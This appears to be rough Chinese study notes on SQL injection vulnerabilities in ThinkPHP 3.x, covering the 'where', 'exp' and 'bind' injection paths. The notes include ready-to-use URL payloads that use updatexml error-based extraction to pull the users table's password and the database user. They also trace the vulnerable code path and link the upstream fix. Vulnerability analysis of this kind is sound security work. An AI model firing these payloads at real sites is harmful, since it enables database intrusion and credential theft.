环境搭建下载源码

?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
断点
id=1' -> I() -> find() -> __parseOptions() ->_parseType()
知足条件才能进去__parseOptions()方法
条件if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
绕过
index.php?id[where]=3 and 1=1
修复
http://localhost:8888/tp3/index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
须要时数组才可以进去if语句
} elseif ('bind' == $exp) { // 利用表达式 $whereStr .= $key . ' = :' . $val[1];
修复
利用I方法接管会通过think_filter函数进行过滤
thinkphp 3.2.3 bind注入payloadindex.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
环境支配
public function index() { $User = M("Users"); $user['id'] = I('id'); $data['password'] = I('password'); $valu = $User->where($user)->save($data); var_dump($valu); }
上文说到除了exp还有bind可以进行注入
报错进入update方法进入到了parseWhereItem方法(bind可以注入)于函数bindParam进行了添加冒号在Driver.class.php文件execute中进行冒号更换if (!empty($this->bind)) { $that = $this; $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));}
如果payload不是0的话
https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4